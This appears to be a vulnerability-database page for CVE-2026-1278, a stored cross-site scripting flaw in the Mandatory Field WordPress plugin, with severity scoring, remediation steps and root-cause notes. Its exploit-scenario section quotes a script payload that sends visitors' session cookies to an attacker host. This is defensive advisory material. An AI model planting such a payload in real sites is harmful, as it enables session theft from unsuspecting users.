Skip to main content

Mandatory Field EUVDEUVD-2026-14155

| CVE-2026-1278 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-58r6-ffpc-qpg6
4.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N) indicates network-based attack with HIGH complexity and HIGH privilege requirements (administrator-level), resulting in limited confidentiality and integrity impact with scope change. The score of 4.4 reflects these constraints. The real-world risk is substantially mitigated by three factors: first, exploitation requires administrator credentials, making it an insider threat or post-compromise scenario rather than remote unauthenticated exploitation; second, it only affects multi-site or restricted single-site configurations, excluding the majority of WordPress deployments; third, no EPSS score, KEV listing, or public POC has been reported, suggesting low active exploitation likelihood. This is a privilege-escalation-via-administrator-abuse scenario with limited blast radius, not a critical vulnerability despite its Stored XSS classification.

Exploit ScenarioDerived

A malicious WordPress administrator (or attacker who has compromised an admin account via phishing or credential reuse) navigates to the Mandatory Field plugin settings page and injects a JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into a plugin configuration field. Due to lack of output escaping, when any user accesses a page that renders this setting, the stored script executes in their browser context, exfiltrating session cookies or performing actions on their behalf. The attack requires high privilege (administrator) and works only on restricted WordPress configurations, making it suitable for insider threats or lateral movement post-compromise rather than broad attack campaigns.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

The Mandatory Field plugin for WordPress versions up to 1.6.8 contains a Stored Cross-Site Scripting (XSS) vulnerability in its admin settings due to insufficient input sanitization and output escaping. Authenticated administrators can inject arbitrary JavaScript that executes for all users accessing affected pages, but exploitation is limited to multi-site WordPress installations or those with unfiltered_html disabled. With a CVSS score of 4.4 and high attack complexity, this represents a moderate-severity privilege escalation risk for WordPress administrators seeking to inject malicious scripts; no public POC or active exploitation has been indicated in KEV data.

RemediationAI

Upgrade the Mandatory Field plugin to a version newer than 1.6.8 if a patched version has been released; check the WordPress plugin repository at https://wordpress.org/plugins/mandatory-fields/ for the latest version and update through the WordPress admin dashboard. Until a patch is available, restrict administrator account access to trusted personnel only, audit recent admin settings changes for injected script content, and monitor page source output for unexpected script tags in plugin-controlled settings fields. For multi-site installations, consider enforcing Content Security Policy (CSP) headers via HTTP headers to prevent inline script execution as a defense-in-depth measure. If the plugin is no longer maintained, consider switching to an actively maintained alternative for mandatory field functionality.

Affected VersionsENISA

Mandatory Field * ≤1.6.8

Affected Packages

euvd mandatory_field no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability is a Stored XSS flaw (CWE-79) in the Mandatory Field WordPress plugin (CPE: cpe:2.3:a:ketanmujumdar:mandatory_field:*:*:*:*:*:*:*:*), affecting all versions through 1.6.8. The root cause lies in the admin settings handler (identified in mandatory-plugin-option-page.php at line 14) which fails to properly sanitize user input before storing it in the database and fails to escape output when rendering saved settings. WordPress's sanitize_text_field() or wp_kses_post() functions should have been applied to $_POST data, and esc_attr() or esc_html() should have been applied during output. The vulnerability is scoped to multi-site WordPress installations or single-site installations where the unfiltered_html capability has been explicitly disabled, narrowing the attack surface compared to standard WordPress configurations where administrators typically retain unfiltered HTML privileges.

Know when Mandatory Field gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 4.4 MEDIUM
AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Mandatory Field plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

Executive ViewAI

Why It Matters

Organizations using Mandatory Field should be aware of moderate risk from CVE-2026-1278, a cross-site scripting vulnerability rated CVSS 4.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy